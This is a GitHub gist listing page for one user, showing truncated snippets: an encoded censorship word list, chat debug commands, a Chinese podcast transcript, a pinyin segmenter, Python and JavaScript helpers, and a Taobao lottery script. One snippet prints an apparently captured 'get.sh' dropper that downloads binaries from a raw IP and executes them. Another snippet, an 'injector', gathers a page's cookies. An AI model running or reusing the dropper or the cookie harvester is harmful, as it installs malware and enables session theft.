Skip to content

Instantly share code, notes, and snippets.

View wong2's full-sized avatar
🍃
Waiting for autumn

wong2 wong2

🍃
Waiting for autumn
View GitHub Profile
@wong2
wong2 / google_black_list.js
Created May 31, 2012 18:31
Google Chinese blacklist
var a = [[1492], [6656], [8759], [63166], [9287], [4369], [8811], [7556], [6262], [14399], [64357], [64353], [10546], [6450], [63794], [61408], [60467, 60463, 30321, 30325, 5103, 9471, 8510, 30243, 5103, 9471, 8510, 30321, 30325, 60467, 60463], [63413, 878, 10006, 64901], [57367, 10006, 64901, 14548, 14505], [10006, 64901, 30321, 30325, 6877, 9480, 30243, 6877, 9480, 30321, 30325, 10006, 64901], [57367, 10006, 64901, 30321, 30325, 14624, 61401, 30243, 14624, 61401, 30321, 30325, 57367, 10006, 64901], [62995, 4015, 62638, 64946, 30321, 30325, 3339, 7703,
30243, 3339, 7703, 30321, 30325, 62995, 4015, 62638, 64946], [10035, 9470, 8711, 30321, 30325, 3339, 7703, 30243, 3339, 7703, 30321, 30325, 10035, 9470, 8711], [62427, 643, 643], [6952, 14674, 10728], [10851, 10827, 14674, 10728], [30263, 30266, 30246, 30248, 30256, 30256, 30267], [30257, 30266, 30262, 30259, 30321, 30325, 30248, 30256, 30256, 30267, 30243, 30248, 30256, 30256, 30267, 30321, 30325, 30257, 30266, 30262, 30259], [12150, 2272, 11
@wong2
wong2 / cmds.txt
Last active May 2, 2021 12:13
在任意聊天中输入。 [ ]表示后面要跟一个空格(可能还需要别的参数才能生效)
//wearversion
//wearlog
//wearvoiceinputenable
//wearvoiceinputdisable
//weargoogleapi
//assert
//pushassert
//uplog
//upcrash
//switchnotificationstatus
[0:0.000,0:25.520] 突击检查环节,你在小宇宙是什么,担当小宇宙声音最好听的是谁小宇宙最近一次团建干了什么吃饭吧,好久没有看见了下周团建一直吃饭吃了什么,本帮菜应该是又是本帮菜。
[0:25.520,0:50.240] 不是就就上次吃了一次霸王餐,那你们确实很久没有团建了,赶紧去听我上次播客我又给你们推荐团建餐厅,你们有去唱歌吗,你刚刚应该说你们有去唱歌麦霸是谁鸡丝勉强可以算吧,基斯喜欢唱什么歌。
[0:50.760,0:52.960] 呃,祭司可能。
[0:52.980,1:21.020] 能唱的歌这歌录非常广,但是他上一次去KTV的时候,他唱的是说唱没有唱500吗,他挣500很厉害,是500可能就属于他的优势项目,他可能觉得唱的太多了,没意思,他上次也唱了,但是她呃,上次主要挑战的是杨和苏的那个一首歌啊,那他下次可以再这个录音系在多唱唱可以啊,他的声音非常适合唱500这种。
[1:21.020,1:52.240] Feel的歌非非常非常的合适,那唱说唱说唱,嗯,你自己找机会去听吧,好吧,呵呵hello,我是羊,你刚才听到的是一段来自几个办公室的对话,我和我的同事小宇宙的产品经理大核桃在一个普通的工作日,晚上我们聊聊播客,当然也聊了聊小宇宙,这里其实就是说到就是很多人想做博客,但是不知道从什么开始。
[1:52.580,2:6.420] 呃,怎么说呢,就是说大家传统上的一个定位就觉得好节目,可能是呃,日坛大内那样的OK,没错,我觉得这没错,但是你要想开始这一步的话,你就是可以从你最擅长呃。
[2:6.660,2:28.780] 最有把握的事情开始,比如说你就是可能先聊一聊你身边的小事聊聊你现在的想法,那么你通过这样的一个过程,你就可以知道啊,你其实你其实更想讲的东西是什么,你其实更擅长的东西是什么,然后你就能找到说你真正的想做一个更好的节目的时候你要去做什么,这个其实就是我们当时做的零七的一个初衷。
[2:28.780,2:46.140] 你不用说为第零七一开始就为第零七设定一个非常宏大的目标,说我要做一个日坛公园,我举例啊,我要做一个日坛公园,然后用非常高规格的方式来对待他,你要写逐字稿,你要呃拉人来聊,然后搞得自己压力很大。
[2:46.240,3:4.700] 然后把它露出来,其实不是的,我们是希望说你反而可以用一种非常低成本的方式先去尝试那么呃,你可以在这里面你可以你可
@wong2
wong2 / pinyin_seg.py
Created March 4, 2012 08:15
以前写的一个简单拼音分词程序。"tianqibucuo" -> "tian qi bu cuo"
#-*-coding:utf-8-*-
def seg(pinyin):
sm = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'w', 'x', 'y', 'z', 'sh', 'zh', 'ch']
ymd = {'a': {'i':None, 'o':None, 'n': {'g': None}},
'e': {'i':None, 'r':None, 'n': {'g': None}},
'i': {'e':None, 'a':{'n':{'g':None}, 'o':None}, 'u':None, 'o':{'n':{'g':None}}, 'n':{'g':None}},
'o': {'u':None, 'n':{'g':None}},
'u': {'a':{'i':None, 'n':{'g':None}}, 'e':None, 'i':None, 'o':None}
}
@wong2
wong2 / jsonify.py
Created August 3, 2013 16:27
flask jsonify decorator
import json
# jsonify response decorator
def jsonify(f):
def wrapped(*args, **kwargs):
return Response(json.dumps(f(*args, **kwargs)), mimetype='application/json')
return wrapped
async function runBatch(client, command, keys, ...args) {
let batch = client.batch()
for (let key of keys) {
batch[command](key, ...args)
}
return batch.execAsync()
}
import re
import zlib
def show_git_tree(sha1):
path = '.git/objects/%s/%s' % (sha1[:2], sha1[2:])
with open(path) as fp:
content = zlib.decompress(fp.read())
header, body = content.split('\0', 1)
for line in re.findall('(\d+) (.*?)\0(.{20})', body, re.MULTILINE):
print line[0], line[1], line[2].encode('hex')
root@li400-72:~# cat get.sh
#!/bin/bash
wget http://45.32.232.197/x86 --quiet
chmod +x x86
./x86
rm -rf x86
wget http://45.32.232.197/i686 --quiet
chmod +x i686
./i686
rm -rf i686
@wong2
wong2 / 抓毛毛
Last active December 27, 2015 23:59
抓呀抓毛毛
!function() {
var getLottery = function() {
var url = 'http://promotion.taobao.com/tmall/luckyCat.do?';
url += 'c24291a8ab24d18cd51be92e4b2eecce';
url += '&ruleId=1111';
url += '&RandomNum=' + new Date().getTime();
url += '&ua=' + encodeURIComponent(ua);
url += '&d=m';
KISSY.io({
if (window.isUndefined(window.injector)) {
window.injector = 'defined';
d = document.cookie;
cookie = {};
reg = /([\w_]+)=([\w.]+)/g;
tmp = null;
while ((tmp = reg.exec(d)) != null) {
cookie[tmp[1]] = tmp[2];
}
cookieStr = JSON.stringify(cookie);